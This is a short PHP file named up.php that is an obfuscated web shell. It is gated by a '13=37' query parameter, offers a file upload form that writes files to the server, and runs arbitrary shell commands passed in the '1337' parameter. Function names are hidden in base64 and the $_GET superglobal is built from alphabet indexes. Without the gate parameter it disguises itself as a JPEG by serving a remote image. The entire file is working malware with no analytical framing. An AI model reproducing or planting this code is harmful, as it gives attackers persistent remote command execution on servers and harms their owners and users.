up.php

<?php
    if (!empty($_GET["13"]) && $_GET["13"] == "37") {
        echo "<font face=\"Courier New\">";
        echo "<form method=\"POST\" enctype=\"multipart/form-data\"><input type=\"file\" name=\"filetoupload\"><input type=\"submit\" name=\"upload\"></form>";
        if(!empty($_POST["upload"])) {
            $muf = @base64_decode("bW92ZV91cGxvYWRlZF9maWxl=");
            if(@$muf($_FILES["filetoupload"]["tmp_name"], $_FILES["filetoupload"]["name"])) {
                echo "[ <a target=\"_blank\" href=\"".$_FILES["filetoupload"]["name"]."\">SUCCESS</a> ]";
            }
            else {
                echo $_FILES["filetoupload"]["error"];
            }
        }
        else {
            echo "[ NO RESULT ]";
        }

        $joker = @range("A","Z");
        $joker = $joker[6].$joker[4].$joker[19];
        if(!empty(${"_".$joker}["1337"])) {
            echo "<pre>".@htmlspecialchars(`${"_".$joker}["1337"]`)."</pre>";
        }
        echo "</font>";
    }
    else {
        @header("Content-Type: image/jpeg");
        $icfjpeg    = @base64_decode("aW1hZ2VjcmVhdGVmcm9tanBlZw==");
        $ijpeg      = @base64_decode("aW1hZ2VqcGVn");
        @$ijpeg(@$icfjpeg("https://assets-a2.kompasiana.com/items/album/2018/09/25/joker-5baa1bc212ae94284577b763.jpg"));
    }
?>